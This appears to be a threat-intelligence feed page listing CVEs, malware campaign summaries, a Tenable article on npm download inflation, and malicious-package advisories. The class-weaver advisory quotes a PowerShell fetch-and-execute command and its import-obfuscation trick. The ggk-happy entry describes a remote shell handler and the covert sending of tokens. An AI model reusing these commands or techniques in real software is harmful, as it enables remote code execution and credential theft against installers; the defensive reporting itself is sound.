Search: at.exe
591 threats
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| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 7.3 | EPSS 0.1% | High7.3EPSS 0.1%CVE Database V5CVE-2026-44609 Local privilege escalation due to EXE hijacking vulnerability. The following products are affected: Acronis DeviceLock DLP (Windows) before build 9.0.15051.93227. | CVE Database V5 | ||
| –Not rated | – | AlienVault OTX General DesckVB RAT emerged in February 2026 through a sophisticated malspam campaign utilizing a dynamic delivery kit that personalizes lures on-the-fly by extracting victim email addresses and pulling company logos in real-time. The attack chain routes through Google's DoubleClick domain to evade email gateways before delivering a five-stage infection: HTML redirect, JScript loader, PowerShell dropper, .NET loader, and finally the RAT itself. The malware employs extensive anti-analysis techniques including sandbox detection, forced reboots upon detection, and in-memory execution via .NET reflection. Once established, it patches AMSI and ETW at the native API level, injects into legitimate Microsoft-signed binaries like InstallUtil.exe and MSBuild.exe, and establishes persistence through registry keys and scheduled tasks. The RAT communicates with DDNS-based C2 infrastructure on non-standard ports, performs system reconnaissance including GPU enumeration possibly for crypto mining, and can deliver additional payl... | AlienVault OTX General | |||
| High | 8.7 | EPSS 0.4% | CVE-2026-42251KAMSOFT KS-SOMED · Use of Hard-coded Credentials High8.7EPSS 0.4%CVE Database V5CVE-2026-42251 Use of hard-coded credentials in KS-SOMED allowed an unauthorized attacker access to FTP server that hosted the application's update packages. The attacker with these credentials could upload a malicious update file, which then may have been distributed and installed on client machines as a legitimate update. This issue affects KS-SOMED with modules: KSPLUPDFTP.exe up to 30.00.00.056 and ANEKSKLIENT.EXE up to 29.00.02.026 Beside removing the hard-coded credentials from the code and changing the update process, access granted by previously exposed credentials was limited to read-only. | CVE Database V5 | ||
| Medium | 6.4 | EPSS <0.1% | CVE-2026-25600Trac d.o.o PDBM · CWE-798 Medium6.4EPSS <0.1%CVE Database V5CVE-2026-25600 The PDBM application relies on a static, hard‑coded secret embedded in the PDBM.exe executable. This secret is used by the application’s encryption routines, including the function responsible for decrypting credentials stored in the product’s configuration file. Because the secret is constant across installations, any attacker with sufficient local privileges can extract it from the binary. Once obtained, the secret allows the attacker to decrypt the stored password and authenticate as the user defined in the configuration file. In the affected version, this user account is configured with administrative privileges, granting full access to PDBM’s management interface and its underlying operational functions. | CVE Database V5 | ||
| –Not rated | – | AlienVault OTX General Analysts discovered a new Remcos RAT infection chain starting with a batch file executing encoded commands that creates hidden directories and retrieves encrypted payloads. Unlike earlier campaigns relying on PowerShell-hosted .NET loaders, this variant incorporates DonutLoader shellcode and AutoIt-based staging for in-memory payload delivery. The infection begins with a phishing email containing a malicious batch file named Bestellung.CMD. The chain abuses legitimate Windows utilities including cscript.exe and SyncAppvPublishingServer.vbs to execute Base64-encoded payloads. Additional components are downloaded from cloud storage, including 7Zip tools and password-protected archives containing obfuscated JScript. The final payload consists of DonutLoader shellcode that injects Remcos RAT version 7.2.1 Pro into colorcpl.exe, enabling remote control, credential harvesting, keystroke logging, and additional payload deployment. | AlienVault OTX General | |||
| –Not rated | – | AlienVault OTX General Through April 2026, Kimsuky deployed sophisticated malicious campaigns against South Korean military and corporate entities using tailored social engineering tactics including fake security software installation pages and spoofed Webex meeting pages leveraging legitimate meeting schedules. The threat actor introduced a novel JSONPing technique allowing distribution pages to verify in real time whether victims executed the payload via JSONP queries to localhost servers. Analysis revealed a new HttpSpy variant with a three-stage execution chain replacing the previous single-binary architecture, utilizing RC4 encryption and shared infrastructure indicators. Attribution was confirmed through code pattern overlaps, reused encryption keys, XAMPP certificate fingerprints, and preferred ASN usage consistent with historical Kimsuky operations targeting South Korea. | AlienVault OTX General | |||
| –Not rated | – | AlienVault OTX General SideCopy APT, a Pakistan-linked threat group under the Transparent Tribe umbrella, executed a targeted spear phishing campaign against Afghanistan's Ministry of Finance and provincial revenue directorates. The attack begins with a Pashto-language LNK file disguised as a staff directory document, which executes mshta.exe to fetch remote HTA payloads from compromised Afghan education infrastructure. The multi-stage chain deploys obfuscated JavaScript, establishes registry-based persistence mimicking Microsoft Edge, and ultimately delivers XenoRAT 1.8.7 beaconing to bulletproof Bulgarian hosting. The campaign demonstrates precise knowledge of target administrative context, using Dari and Pashto decoy documents listing provincial finance officials with direct contact information. Infrastructure analysis reveals deliberate staging within Afghan government IP space and C2 infrastructure overlapping with previous SideCopy operations. | AlienVault OTX General | |||
| –Not rated | – | Tenable Research Learn how attackers exploit automated bot traffic as part of software supply chain attacks to artificially inflate download counters and mask malicious payloads as legitimate. Key takeaways Volume doesn’t equal trust. Packages with numerous versions and high download counts might seem legitimate, but attackers can easily manipulate those metrics. Attackers exploit automated infrastructure. By initially flooding the registry with numerous benign versions of a package, threat actors trigger automatic downloads from mirrors, scanners, and analysis bots, which artificially inflate traffic. Although old download-inflation techniques still work, attackers are developing new sophisticated techniques to deceive developers into installing malicious packages. Downloads count metric Following recent software supply chain attacks in which Tenable has seen attackers steal access tokens and secrets from developer workstations and CI/CD build servers, we started actively monitoring and analyzing npm packages uploaded to the public registry. Initially, we used download counts as a primary metric to determine package relevance. During our monitoring, we identified a recurring anomaly: Brand new packages displayed unusually high download counts within hours of upload. Upon further investigation, we discovered that those packages also had many versions. We found that packages whose content got updated frequently — usually by systematically uploading many new versions for the same package — had an unusually high downloads count. We observed this technique being used deliberately in the wild for the first time in our analysis of the malicious “ambar-src” package , which reached more than 50,000 downloads in three days after attackers uploaded more than 700 versions. We named this technique “download pumping.” Developers and security tools frequently use download counts as one of the metrics to assess a package's legitimacy. Since there is no simple method for determining if a package is legitimate, this artificial inflation effectively disguises the threat. Analysis In the “ambar-src” campaign, threat actors systematically published hundreds of benign versions of the package before introducing the actual malicious payload. Because npm registers each interaction with these updates as traffic, this repetitive version-publishing process achieved two goals: It heavily populated the package’s release history, creating a dense changelog that made the project appear actively maintained and historically legitimate to developers evaluating it. Every time a new version was published, automated systems like repository mirrors and analysis bots automatically downloaded it. Because the attackers systematically uploaded hundreds of versions, they artificially generated a massive wave of automated traffic, inflating the package's download count to more than 50,000 downloads in just three days. From Tenable’s initial analysis, each version uploaded to the npm public registry typically receives between 100 and 150 downloads from automated systems. We verified that fact by running our proof-of-concept (POC) and analyzing the download count. Download pumping PoC To validate these mechanisms, we conducted a POC that replicated the download pumping behavior. We created test packages and systematically published a high volume of new versions to the npm registry. As the npm team stated in their blog , their download stats are naive by design, and they do not put much effort into filtering automated bot traffic. Thus, various repository mirrors, analytical bots, and automated security scanners immediately pulled each new version we uploaded. This validated that an attacker can predictably generate a baseline of downloads entirely through automated publishing, requiring zero organic user interaction. During our POC, we wanted to see how different package properties might affect the automated download volume. We were working under the assumption that packages with postinstall scripts raise the interest level of security scanners. Postinstall scripts are highly interesting to defenders because attackers frequently use these lifecycle hooks to automatically execute malicious payloads the moment a package is installed. Since this is a common malware-deployment technique, automated security scanners prioritize downloading and inspecting packages that have these scripts configured. It is important to note that security scanners don’t have to download the package itself to determine if the npm package has a postinstall script configured, as this data is available in the package metadata in the public registry. For those reasons, we believed that security scanners are more likely to download packages with install scripts configured, as they are more likely to contain malicious code. We deployed three distinct test packages to npm to test our assumption and observed the following results: Version bump only: 135.55 downloads per version This was our baseline test package. We didn’t add or remove any code when publishing a new version, nor did we make any other attempt to make the package look interesting. We simply bumped up the version number each time. Static postinstall script: 141.91 downloads per version This was our second test package, and the first one to have a postinstall script configured, but we didn’t change the script when publishing new versions. Dynamic postinstall script: 158.16 downloads per version In this third test package, we changed the postinstall script every time we bumped up the version. We did this as we believed that security scanners would be more interested in packages whose postinstall script changed, as it could be an indicator of compromise. Graph showing how Tenable’s first POC software package experienced a spike in downloads when we started publishing new versions of it. This data demonstrates a straightforward cause-and-effect: automated infrastructure and security scanners naturally generate more download traffic for packages that exhibit interesting or actively changing behaviors. Other package managers While our research focused specifically on the npm ecosystem, the fundamental mechanics behind this technique are not unique to npm. Other package registries such as PyPI , RubyGems , and NuGet operate with similar automated infrastructure — mirrors, security scanners, and analysis bots — that pull new versions as they are published. Although the specific download amplification and trust metrics may differ across ecosystems, the core principle remains the same: where automated systems react to new publications, there is potential for abuse. Real-world example of download pumping As already stated, we first observed this technique being used in the wild during our analysis of the “ambar-src” package . Let’s look at this in more detail. The attackers created an npm package containing utility code that can be used for legitimate purposes, such as MathUtils, StringUtils and Time functions. The attackers then systematically uploaded 428 legitimate versions of the package in just two hours. The attackers did this to gain initial credibility and attempt to lure developers to use their code. Three days later, the attackers uploaded a new version containing malicious code. By this point, the attackers’ package already had more than 30,000 downloads. In total, the attackers uploaded 724 versions including malicious and legitimate versions. This led to an artificially generated wave of automated traffic, resulting in around 50,000 downloads total. This repetitive version-publishing process successfully inflated the package's download count and created a dense release history, making the project appear historically legitimate before the malware was deployed. Past research on npm download manipulation The manipulation of npm downloads metrics is not a new discovery. In a 2021 research blog , independent developer Andy Richardson showed how prone the npm registry’s download tracking is to abuse, by demonstrating that bad actors can send HTTP requests to a package’s tarball URL to fake downloads. Using automated tools, the researcher successfully drove nearly 1 million spoofed downloads in a single week for a completely unused package. Tenable validated this technique still works in 2026. By sending HTTP requests directly to the URL of the package’s tarball, Tenable successfully inflated a test package’s metric to 17,000 downloads in approximately one hour, using nothing more than a standard office laptop and an internet connection. However, this new version-flooding method we’ve identified offers two distinct advantages: First, it provides amplification, because an attacker gains 100 to 150 automated downloads from repository mirrors for every single version they upload, rather than just one download per HTTP request. Second, systematically publishing these updates populates the release history, creating a dense version log that makes the package appear actively maintained and historically legitimate. Mitigation of supply chain attacks Organizations should not depend on download counts or version histories to determine if a package is legitimate. As we have demonstrated, attackers can easily fake these metrics using automated systems, creating a false sense of trust. Instead, organizations should adopt common industry best practices, such as version pinning and implementing minimum package-age restrictions. These best practices are effective, as security vendors and the open-source community actively monitor these registries and typically detect malicious packages fairly quickly, within a couple of days at most. By enforcing a short waiting period of three to four days before allowing a new package or new version of an existing package into your environment, you allow the community time to identify these threats in the public registry. Once they are detected, they are removed from the public registry, eliminating the risk. It is worth noting that npm is actively working to improve the security of its ecosystem. Recent efforts include adding support for package-age checks directly in the npm CLI, as well as strengthening authentication mechanisms for package maintainers to reduce the risk of account takeovers. While these are meaningful steps in the right direction, the reality is that no single measure can fully prevent malicious code from reaching the public registry. Supply chain attacks will continue to evolve, and organizations should also layer their own defenses rather than rely on the ecosystem alone. For example, organizations can add extra protection for CI/CD build servers by deploying ephemeral CI/CD runners that are destroyed immediately after a single use to prevent malware from lingering. Operating those temporary runners without persistent storage makes it harder for threat actors to save their payloads or establish persistence across different build jobs. Additionally, organizations should enforce least-privilege network access. Restricting outbound traffic makes it harder for malicious payloads running on the build server to reach the open internet to download second-stage malware payloads like “msinit.exe.” So what? Currently, developers are still being hacked through open-source supply chain techniques . The metrics developers and security tools depend on — download counts, version history, maintenance activity — are superficial indicators that, as we have demonstrated, an attacker can manipulat with minimal effort. But the problem runs deeper than fake signals. Even when a package has a legitimate track record with a trusted maintainer behind it, that trust can be compromised overnight. Recent waves of account takeovers, social engineering campaigns, and credential theft targeting established maintainers have shown that a package's history is no guarantee of its current safety, even for legitimate packages. A new version published under a trusted name can carry a malicious payload, and the package manager has no built-in mechanism to catch it. In practice, there is no deterministic method to determine if a new package is malicious or not. Therefore, each package you install and use must be treated like it could be malicious. The meaningful trust signal comes after the fact: from security vendors and the open-source community actively scanning and analyzing packages once they are published. This is exactly why enforcing minimum-age requirements on new packages and new versions is such an effective control . A short waiting period of a few days gives the security community time to detect, flag, and remove threats from the public registry before they ever reach your environment. Organizations that consume packages the moment they are published are accepting risk that is entirely avoidable. Download pumping is ultimately just the initial entry vector for a much larger objective. Attackers using these techniques are generally aiming for one of two outcomes. First, they aim to compromise build servers and CI/CD pipelines. By successfully injecting a malicious dependency into these systems, threat actors achieve “God-mode” over the infrastructure, which can lead to a full compromise of the entire production environment. Second, and even worse, they aim to compromise the developers of highly popular packages. By hijacking a trusted maintainer’s environment, attackers can inject malicious code that thousands of downstream organizations automatically pull, creating a massive cascading effect across the broader software supply chain. How Tenable can help defend against supply chain attacks To defend against supply chain attacks, you need to know exactly what code is running in your environment. The Tenable One Exposure Management Platform and Tenable Nessus can help you build a complete asset inventory of the npm packages used across your organization. Use the following Nessus plugins to build an inventory of the npm modules in your environment: 200172 - Node.js Modules Installed (Windows) 179440 - Node.js Modules Installed (macOS) 178772 - Node.js Modules Installed (Linux) As Tenable continuously analyzes your environment, you get direct visibility into exactly what is installed on your systems. This visibility ensures you can quickly locate and remove compromised packages as soon as a new threat is discovered. Beyond building a complete inventory, organizations also need to actively monitor their environments for live threats. Tenable One Cloud Exposure , a CNAPP, builds on this visibility by continuously monitoring your cloud environment to proactively detect these types of supply chain attacks in real time. Together as part of the Tenable One Exposure Management Platform, these tools proactively detect supply chain attacks across your environments, ensuring your security teams can immediately identify and neutralize malicious activity before attackers can fully compromise your production systems. | Tenable Research | |||
| High | 7.8 | EPSS 2.4% | CVE-2026-45322microsoft UFO · OS Command Injection High7.8EPSS 2.4%CVE Database V5CVE-2026-45322 Microsoft UFO open-source framework for intelligent automation across devices and platforms. Microsoft UFO tagged releases up to and including v3.0.0 contain an OS command injection vulnerability in the shell action replay path. In affected releases, ShellReceiver.run_shell() passes a command string from action parameters directly to subprocess.Popen() with shell=True and executable=powershell.exe. The same shell-execution behavior is also reachable through ShellReceiver.execute_command(). The shell receiver is invoked by action classes such as RunShellCommand.execute() and ExecuteCommand.execute(), which forward stored action parameters to the shell receiver. Because UFO stores planned and executed actions in per-session JSON records, an attacker who can write or modify a session/action JSON file can plant a shell action. When the session is resumed or replayed, UFO executes the attacker's command as the UFO process user. | CVE Database V5 | ||
| Critical | 9.8 | EPSS 0.4% | CVE-2026-8364Gladinet Triofox · Missing Authentication Critical9.8EPSS 0.4%CVE Database V5CVE-2026-8364 CVE-2026-8364 is a critical vulnerability in Gladinet Triofox Cloud Server Agent Access Service (GladServerAgentService.exe) that lacks authentication for critical functions accessed via specific HTTP URL paths. The service listens on TCP port 7878 and processes remote HTTP requests to paths such as /resources, /status, /sysinfo, /woshome, /Settings, /schedule, and /DavCache without requiring authentication. This allows unauthenticated remote attackers to potentially gain full control over the service. The vulnerability has a CVSS score of 9.8, indicating a high impact on confidentiality, integrity, and availability. No patch or official remediation guidance is currently available, and no known exploits have been reported in the wild. | CVE Database V5 | ||
| –Not rated | – | AlienVault OTX General A sophisticated phishing campaign distributes a PureLogs variant through deceptive purchase order emails containing malicious JavaScript files. The attack chain employs obfuscated JavaScript that drops PowerShell scripts, which then use process hollowing techniques to inject .NET modules into legitimate Windows processes. The malware communicates with command-and-control infrastructure to download additional plugins. PureLogs collects extensive sensitive information including credentials from web browsers, cryptocurrency wallets, email clients, Discord, and various applications. It also captures screenshots, system information, and clipboard data. The collected data is compressed, encrypted with AES, and exfiltrated to remote servers. The campaign demonstrates advanced evasion techniques through fileless execution, multiple encryption layers, and abuse of trusted processes like MsBuild.exe, making detection challenging for traditional security solutions. | AlienVault OTX General | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d747cc7acd8bbc1defbf475aa3202fd332fd43135a6fedddfcc37356ce02eb54) Package presents itself as the legitimate slopus/happy CLI (README instructs `npm install -g happy`; homepage, repository, bugs, and author fields all point at happy.engineering / github.com/slopus/happy), but the published name is ggk-happy and the shipped code has been modified in ways that harm installers: 1. Backend redirection: DEFAULT_SERVER_URL is hardcoded to https://happy-api.ask-ggk.com and DEFAULT_WEBAPP_URL to https://happy.ask-ggk.com — third-party hosts not disclosed in the README, which still references api.cluster-fluster.com. All coding-agent sessions (Claude Code / Codex prompts, source code, auth tokens, machine metadata) flow to ask-ggk.com instead of the publisher advertised in package metadata. 2. Remote-control surface pointed at attacker infrastructure: ApiSessionClient / ApiMachineClient open a socket.io connection to the redirected server and register RPC handlers named `bash`, `readFile`, `writeFile`, `listDirectory`, `getDirectoryTree`, `ripgrep`, `difftastic`. The `bash` handler runs `execAsync(data.command, options)` on parameters supplied by the remote server. Whoever operates happy-api.ask-ggk.com can execute arbitrary shell commands and read/write files on the installer's machine. 3. Install-time auto-takeover: scripts/postinstall.cjs, on global or root install, unconditionally spawns `node bin/happy.mjs install`, running the full auth/registration flow (browser opened to happy.ask-ggk.com, machine registered to happy-api.ask-ggk.com, daemon started) at `npm install -g` time. Auto-takeover is opt-out via env var, not opt-in, so `sudo npm install -g ggk-happy` immediately binds the machine to the third-party backend, with elevated privileges on Linux/macOS root installs. 4. Unpinned binary dropper: RTK_DOWNLOAD_URLS fetches platform-specific `rtk` binaries from https://minio.ask-ggk.com/happy/rtk-*.{zip,tar.gz} (win32/darwin/linux, x64/arm64) with no hash or signature verification, stages them to ~/.local/share/ggkhappy/rtk/bin/rtk (or %LOCALAPPDATA%\ggkhappy\rtk\bin\rtk.exe), and later invokes them via execFile. Purpose of the binary is not documented. 5. Covert identity reporting: readRtkIdentity() reads the installer's machineId from ~/.happy settings and the auth token from ~/.happy/access.key and POSTs them, together with platform/version fields, to https://guguke.ask-ggk.com/api/v1/agent/rtk/gain/report — a side channel to a host not referenced in README documentation. This is not a legitimate fork: the surface identity (name, homepage, repo, README install command) still claims to be slopus/happy, while all backends, the remote-shell RPC destination, the runtime binary source, and the identity reporter have been repointed to ask-ggk.com infrastructure. Installers who follow the README believe they are installing the upstream project and instead grant an undisclosed operator remote code execution over their machine and full visibility into their AI coding sessions. | GCVE Database | |||
| High | 7.3 | EPSS 0.2% | High7.3EPSS 0.2%CVE Database V5CVE-2026-48831 Wine ships a .desktop file that registers itself as a MIME handler for EXE files and several other Windows executable file types. In some configurations, handling of an EXE file causes that file to be blindly executed with the permissions of the invoker. This allows escaping Flatpak and Snap sandboxes, because MIME handlers are not intended for use by code interpreters and loaders. NOTE: some parties feel that this is not a bug to be addressed in Wine, because there is no known solution that avoids a severe loss of usability (Wine could be a binfmt-misc handler, but binfmt-misc does not exist on all platforms supported by Wine). | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b4e45cdd0a93db2db56ae7fd2c348305a5ce7aeab9c6fb4b2331c2a547b2c5e7) class-weaver advertises itself as a className/theme utility (keywords clsx, utils, styling; exports named classNames and twMerge mimicking clsx/tailwind-merge), but its dist/index.js contains a hidden remote-code-execution path inside the exported applyGlobalStyles({palette, accents}) function. The function AES-256-CBC-decrypts caller-supplied hex arrays using a hardcoded 32-byte key (assembled from eight concatenated hex fragments) and spawns powershell.exe with arguments ["-WindowStyle","Hidden","-NoProfile","-Command",`irm ${URL} -o $env:TEMP\s.js; node $env:TEMP\s.js`] via spawnSync with windowsHide:true — downloading and executing arbitrary JavaScript on Windows installers. The node:crypto and node:child_process modules are imported through string-split array-join obfuscation (["no","de",":","cry","pto"].join("")) to evade static dependency scanning. Thousands of filler functions (isWithinBoundary1..200, mapOperation1..250, applyPreset1..150, createSequenceStep1..250, checkConstraint1..250) pad the bundle to disguise the ~30-line malicious payload. The package framing as a clsx/tailwind-merge drop-in is a lure; any consumer invoking the documented applyGlobalStyles API with attacker-controlled accent/palette values triggers fetch-and-execute of arbitrary code. ## Source: ghsa-malware (5dec440ede443477635a06cca5ac51d1e9e41996adfd432a326054402ac3e704) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| –Not rated | – | AlienVault OTX General Community-maintained Laravel Lang packages were compromised with remote code execution backdoors affecting over 700 versions across multiple repositories including laravel-lang/lang, laravel-lang/http-statuses, laravel-lang/attributes, and laravel-lang/actions. The attack involved coordinated rapid tag publishing on May 22-23, 2026, suggesting organization-level credential compromise. A malicious helpers.php file was automatically executed via Composer's autoloader, deploying a sophisticated cross-platform information stealer. The second-stage payload systematically harvested credentials from cloud infrastructure, Kubernetes, CI/CD systems, browsers, password managers, cryptocurrency wallets, VPN clients, and local configurations. Stolen data was encrypted and exfiltrated to a command-and-control server. The backdoor employed advanced evasion techniques including TLS verification bypass, per-host execution markers, and embedded Windows executables to bypass Chrome encryption protections. | AlienVault OTX General | |||
| –Not rated | – | AlienVault OTX General A sophisticated spear-phishing campaign designated Operation Dragon Whistle has been identified targeting Changzhou University in China. The threat actor UNG002 leveraged highly contextual social engineering by impersonating official university communications regarding mandatory 2026 National Student Physical Fitness and Health Standards testing, which directly impacts graduation eligibility. The attack chain begins with a weaponized ZIP file containing a malicious LNK file disguised as a PDF document. Upon execution, it triggers a VBScript that simultaneously displays a legitimate-looking decoy document while deploying a multi-stage infection chain involving DLL sideloading via Bandizip.exe, anti-debugging techniques, and ultimately delivering a Cobalt Strike Beacon payload entirely in memory. The campaign demonstrates advanced evasion capabilities and utilizes Chinese cloud infrastructure hosted on Alibaba Cloud for command and control operations. | AlienVault OTX General | |||
| Critical | 9.8 | EPSS 3.1% | Critical9.8EPSS 3.1%CVE Database V5CVE-2026-4883 The Piotnet Forms plugin for WordPress is vulnerable to arbitrary file upload due to missing file type validation in the 'piotnetforms_ajax_form_builder' function in all versions up to, and including, 2.1.40. The plugin uses an incomplete extension blacklist that only blocks php, phpt, php5, php7, and exe extensions, while allowing dangerous extensions such as .phar or .phtml to be uploaded. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible. Note: The exploit can only be exploited if a file field is added to the form. | CVE Database V5 | ||
| High | 7.3 | EPSS 0.5% | High7.3EPSS 0.5%CVE Database V5CVE-2026-47092 Claude HUD through 0.0.12, patched in commit 234d9aa, contains a command injection vulnerability that allows local attackers to execute arbitrary commands by manipulating the COMSPEC environment variable. Attackers can set COMSPEC to an arbitrary binary path before claude-hud performs its version check, causing execFile() to execute the attacker-supplied executable with cmd.exe arguments, resulting in arbitrary code execution on Windows systems. EPSS 0.5%Vulnerability | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.3% | Medium5.3EPSS 0.3%CVE Database V5CVE-2026-8733 A vulnerability was found in Investintech SlimPDFReader up to 2.0.13. Affected by this vulnerability is the function sub_3B4610 of the file SlimPDFReader.exe. The manipulation results in stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been made public and could be used. The vendor responded to the initial vulnerability report by the researcher with a note that the product is discontinued. This vulnerability only affects products that are no longer supported by the maintainer. EPSS 0.3%Vulnerability | CVE Database V5 | ||
| Critical | 9.3 | KEVEPSS 1.5% | Critical9.3KEVEPSS 1.5%CVE Database V5CVE-2026-8398 A supply chain attack compromised the official installation packages of DAEMON Tools Lite (Windows versions 12.5.0.2421 through 12.5.0.2434), distributed from the legitimate website daemon-tools.cc between approximately April 8, 2026, and May 5, 2026. Attackers gained unauthorized access to the vendor's (AVB Disc Soft) build or distribution infrastructure and trojanized three binaries: DTHelper.exe, DiscSoftBusServiceLite.exe, and DTShellHlp.exe. These files were digitally signed with the legitimate AVB Disc Soft code-signing certificate, allowing the malicious installers to appear trustworthy and bypass signature-based detection. | CVE Database V5 |
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